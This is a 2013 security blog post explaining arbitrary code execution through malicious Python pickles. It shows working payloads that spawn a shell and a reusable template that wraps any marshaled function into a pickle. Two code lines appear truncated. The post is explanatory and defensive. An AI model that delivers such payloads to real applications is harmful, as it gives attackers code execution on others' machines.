Arbitrary code execution with Python pickles

Oct 8, 2013 • Stephen Checkoway

Don't unpickle a Python pickle that you did not create yourself from known data. That's old news. The Python documentation for the `pickle` module clearly states,

> ***Warning:*** *The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source.*

It's well-documented that it's easy to construct malicious pickles which, when unpickled produce a shell, even a remote shell. Nelson Elhage demonstrates a very simple process for getting a remote shell by using `subprocess.Popen`. Marco Slaviero shows how to build various standard shellcodes, including bind and connect shellcodes but these are basically unreadable and programming in pickle is only mildly entertaining as a diversion and, as I'll demonstrate, almost completely unnecessary.

Let's start with the canonical Python pickle shellcode, which we'll save as `canonical.pickle`.

```
cos
system
(S'/bin/sh'
tR.
```

Let's try to unpack the pickle and see what results.

```
>>> import pickle
>>> pickle.load(open('canonical.pickle'))
sh-3.2$
```

Pickle is a stack language which means that the pickle instructions push data onto the stack or pop data off of the stack and operate on it in some fashion. To understand how the canonical pickle works, we need only understand six pickle instructions:

- `c` : Read to the newline as the module name, `module`. Read the next line as the object name, `object`. Push `module.object` onto the stack.
- `(` : Insert a marker object onto the stack. For our purpose, this is paired with `t` to produce a tuple.
- `t` : Pop objects off the stack until a `(` is popped and create a tuple object containing the objects popped (except for the `(`) in the order they were /pushed/ onto the stack. The tuple is pushed onto the stack
- `S` : Read the string in quotes up to the newline and push it onto the stack.
- `R` : Pop a tuple and a callable off the stack and call the callable with the tuple as arguments. Push the result onto the stack.
- `.` : End of the pickle.

These are the only instructions we'll need to get arbitrary Python code execution.

Taking a look at the canonical pickle shellcode, we see that the builtin function `os.system` is pushed onto the stack first. Then, a marker object and the string `'/bin/sh'` are pushed. The `t` produces a 1-element tuple `('/bin/sh',)`. At this point the stack contains two elements: `os.system` and `('/bin/sh',)`. The `R` pops both arguments and calls `os.system('/bin/sh')`, pushing the result—the shell return value—onto the stack.

To execute arbitrary python we would like to be able to pickle code, however, that does not work. Fortunately, since version 2.6, Python contains a marshal module which *can* serialize code. Our basic task is to write arbitrary code as a Python function, marshal the function, base64 encode it, and insert it into a generic pickle which will decode, unmarshal, and call the function.

For our arbitrary computation, let's compute (very slowly) the 10 Fibonacci number, print it out, and then get a shell.

```
import marshal
import base64

def foo():
    import os
    def fib(n):
        if n <= 1:
            return n
        return fib(n-1) + fib(n-2)
    print 'fib(10) =', fib(10)
    os.system('/bin/sh')
```

```
print base64.b64encode(marshal.dumps(foo.func_code))
```

Note that since Python lets us import modules and define functions inside of functions. We can write just about any code we would like in our +foo+ function.

Running this code produces (line breaks added):

```
YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAA
IkAAGQDAEeIAABkBACDAQBHSHwAAGoBAGQFAIMBAAFkAABTKAYAAABOaf////
9jAQAAAAEAAAAEAAAAEwAAAHMsAAAAfAAAZAEAawEAchAAfAAAU4gAAHwAAGQ
BABiDAQCIAAB8AABkAgAYgwEAF1MoAwAAAE5pAQAAAGkCAAAAKAAAAAAoAQAA
AHQBAAAAbigBAAAAdAMAAABmaWIoAAAAAHMEAAAAYS5weVIBAAAABgAAAHMGA
AAAAAEMAQQBcwkAAABmaWIoMTApID1pCgAAAHMHAAAAL2Jpbi9zaCgCAAAAdA
IAAABvc3QGAAAAc3lzdGVtKAEAAABSAgAAACgAAAAAKAEAAABSAQAAAHMEAAA
AYS5weXQDAAAAZm9vBAAAAHMIAAAAAAEMAQ8EDwE=
```

We want to construct a generic pickle into which we can insert arbitrary base64 encoded functions such as the above and run them. In essence, we want to produce a pickle that executes the following Python where `code_enc` is our encoded function.

```
(types.FunctionType(marshal.loads(base64.b64decode(code_enc)), glob
```

More readably,

```
code_str = base64.b64decode(code_enc)
code = marshal.loads(code_str)
func = types.FunctionType(code, globals(), '')
func()
```

Let's build this up by parts. To call `base64.b64decode(code_enc)`, we can do the exact same thing we did with `os.system`.

```
cbase64
b64decode
(S'YwAAA...'
tR
```

We can add the call to `marshal.loads` in the same way:

```
cmarshal
loads
```

```
(cbase64
b64decode
(S'YwAAA...'
tRtR
```

The `globals` function can be called the same way using the `__builtin__` module:

```
{}{}
c__builtin__
globals
(tR
```

To construct the function, we can combine these to get

```
ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAA...'
tRtRc__builtin__
globals
(tRS''
tR
```

Finally, we need to call the function that appears on the top of the stack by appending `(tR.` (where the period ends the pickle).

Putting the pieces all together, we get a generic pickle

```
ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'YwAAAAABAAAAAgAAAAMAAABzOwAAAGQBAGQAAGwAAH0AAIcAAGYBAGQCAIYAAIkA
tRtRc__builtin__
globals
(tRS''
tR(tR.
>>> import pickle
>>> pickle.load(open('generic.pickle'))
fib(10) = 55
sh-3.2$
```

Changing the executed code requires merely changing the `foo` function, running the Python program that prints out the marshaled and encoded function, and replacing the base64 encoded string in `generic.pickle`.

Here's a handy template.

```
import marshal
import base64

def foo():
    pass # Your code here

print """ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'%s'
tRtRc__builtin__
globals
(tRS''
tR(tR.""" % base64.b64encode(marshal.dumps(foo.func_code))
```